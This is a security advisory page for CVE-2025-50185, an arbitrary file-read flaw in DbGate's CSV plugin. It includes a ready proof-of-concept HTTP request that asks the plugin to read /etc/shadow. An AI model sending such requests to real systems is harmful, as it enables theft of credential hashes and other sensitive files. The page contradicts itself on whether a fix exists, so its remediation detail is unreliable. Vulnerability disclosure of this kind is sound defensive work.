CVE-2025-50185: DbGate allows Unauthorized File Access via CSV Plugin

Published Jul 26, 2025
·
Updated

DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.

POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0

{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}

The request payload: !Screenshot From 2025-05-31 22-54-49

Lines of the file being returned: !Screenshot From 2025-05-31 22-55-23

Affected Software

1 affected component
DbGate DbGate<=6.6.0

Event History

Jul 26, 2025
CVE Published
via MITRE·03:34 AM
Data Sourced
via MITRE·03:34 AM
DescriptionWeakness
Data Sourced
via NVD·04:16 AM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2025-50185?

CVE-2025-50185 has been categorized with a high severity level due to the potential for unauthorized file access.

2

How do I fix CVE-2025-50185?

To mitigate CVE-2025-50185, upgrade to DbGate version 6.6.1 or later, where the vulnerability has been addressed.

3

What versions of DbGate are affected by CVE-2025-50185?

CVE-2025-50185 affects DbGate versions up to and including 6.6.0.

4

What is the impact of CVE-2025-50185?

The impact of CVE-2025-50185 allows attackers with application-level access to read arbitrary files from the system.

5

Is there a workaround for CVE-2025-50185?

There are no effective workarounds for CVE-2025-50185 other than upgrading to a patched version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203